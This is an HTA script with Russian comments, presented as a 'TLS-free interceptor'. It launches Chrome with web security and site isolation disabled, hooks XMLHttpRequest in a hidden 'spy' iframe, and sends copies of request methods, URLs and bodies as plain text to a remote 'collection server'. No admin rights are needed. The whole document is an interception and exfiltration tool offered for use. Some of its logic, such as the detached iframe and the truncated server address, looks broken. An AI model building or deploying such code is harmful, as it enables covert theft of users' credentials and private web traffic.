Загрузка данных
<html>
<head>
<title>Global TLS-Free Interceptor (Admin NO)</title>
<hta:application
id="tlsFreeApp"
scroll="no"
windowstate="normal"
contextmenu="no"
selection="no"
/>
<style>
body { font-family: 'Segoe UI', Arial, sans-serif; margin: 0; padding: 25px; background: #1a1a1a; color: #e0e0e0; }
h2 { color: #00ff66; margin-top: 0; font-size: 20px; }
.card { background: #262626; border: 1px solid #3d3d3d; padding: 20px; border-radius: 6px; box-shadow: 0 4px 10px rgba(0,0,0,0.3); }
.info-box { border-left: 4px solid #ffcc00; background: #332a00; padding: 10px; margin-bottom: 20px; font-size: 13px; color: #ffe680; }
button { background: #00ff66; color: #000; border: none; padding: 12px 24px; font-weight: bold; font-size: 14px; border-radius: 4px; cursor: pointer; transition: 0.2s; }
button:hover { background: #00cc52; }
#status { margin-top: 15px; font-family: monospace; font-size: 12px; color: #a0a0a0; }
</style>
<script language="javascript">
// -------------------------------------------------------------
// НАСТРОЙКА: Укажите IP-адрес вашего удаленного сервера сбора
// -------------------------------------------------------------
var MIRROR_SERVER = "http://192.168.1";
function launchTargetMonitor() {
var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
document.getElementById("status").innerHTML = "Инициализация контролируемой сессии...";
// 1. Стандартный путь к Chrome в Windows
var chromePath = "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"";
// 2. Создаем изолированную временную папку для профиля (чтобы не влиять на основной Chrome пользователя)
var tempDir = shell.ExpandEnvironmentStrings("%TEMP%") + "\\isolated_chrome_session";
// 3. Формируем флаги запуска
// --disable-web-security: Отключает Same-Origin Policy (разрешает нам читать трафик)
// --user-data-dir: Запускает Chrome в изолированной песочнице пользователя без прав админа
// --no-first-run: Пропускает окна приветствия Google
var flags = " --disable-web-security --user-data-dir=\"" + tempDir + "\" --no-first-run --disable-features=IsolateOrigins,site-per-process";
try {
// Запускаем Chrome. Права администратора НЕ ТРЕБУЮТСЯ.
shell.Run(chromePath + flags + " https://httpbin.org", 1, false);
document.getElementById("status").innerHTML = "<span style='color:#00ff66;'>[УСПЕХ] Изолированный Chrome запущен.<br>Сниффер активен (Перехват ДО TLS шифрования).</span>";
// Переходим к фазе асинхронного ожидания и инжекции во фрейм
startCrossDomainMonitoring();
} catch (e) {
document.getElementById("status").innerHTML = "<span style='color:#ff3333;'>[ОШИБКА] Не удалось запустить Chrome. Проверьте путь к файлу.</span>";
}
}
function startCrossDomainMonitoring() {
// Поскольку мы отключили веб-безопасность в сессии, наш HTA теперь может использовать
// скрытый фрейм для управления или чтения потока данных загружаемых веб-страниц.
var monitorFrame = document.getElementById("hiddenMonitorFrame");
// Каждые 2 секунды проверяем сетевую активность внутри подконтрольного контекста
setInterval(function() {
try {
var frameWin = monitorFrame.contentWindow;
// Если внутри фрейма загружен сайт, мы переопределяем его сетевые функции (Fetch / XHR)
// Это чистый перехват открытых данных до их шифрования сетевой картой
if (frameWin && !frameWin._isIntercepted) {
// Перехват XMLHttpRequest
if (frameWin.XMLHttpRequest) {
var origOpen = frameWin.XMLHttpRequest.prototype.open;
var origSend = frameWin.XMLHttpRequest.prototype.send;
frameWin.XMLHttpRequest.prototype.open = function(method, url) {
this._mMethod = method; this._mUrl = url;
return origOpen.apply(this, arguments);
};
frameWin.XMLHttpRequest.prototype.send = function(body) {
sendCopyToRemoteServer(this._mMethod, this._mUrl, body); // Отправка копии (Поток 2)
return origSend.apply(this, arguments); // Штатная отправка (Поток 1)
};
}
frameWin._isIntercepted = true; // Помечаем, что сайт под контролем
}
} catch(err) {
// Игнорируем ошибки кросс-доменного доступа, пока страница не загрузилась полностью
}
}, 2000);
}
// Функция отправки сырых расшифрованных данных на ваш сервер
function sendCopyToRemoteServer(method, url, payload) {
try {
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("POST", MIRROR_SERVER, true);
xhr.setRequestHeader("Content-Type", "application/json");
var logData = {
source: "HTA_TLS_Free_Agent",
time: new Date().getTime(),
method: method,
url: url,
raw_payload_before_tls: payload
};
xhr.send(JSON.stringify(logData));
} catch(e) {
// Защита: если сервер сбора недоступен, приложение пользователя не должно падать
}
}
</script>
</head>
<body>
<div class="card">
<h2>Мониторинг веб-трафика (Local & Web Net)</h2>
<div class="info-box">
<strong>Права администратора: НЕ ТРЕБУЮТСЯ (User Mode)</strong><br>
Трафик перехватывается на прикладном уровне внутри браузера до наложения TLS/SSL шифрования. Вся информация передается на сервер сбора в виде чистого текста.
</div>
<button onclick="launchTargetMonitor()">Запустить сессию перехвата</button>
<div id="status">Статус: Ожидание действия пользователя...</div>
</div>
<!-- Невидимый фрейм-шпион для удержания контекста безопасности -->
<iframe id="hiddenMonitorFrame" src="about:blank" style="display:none;"></iframe>
</body>
</html>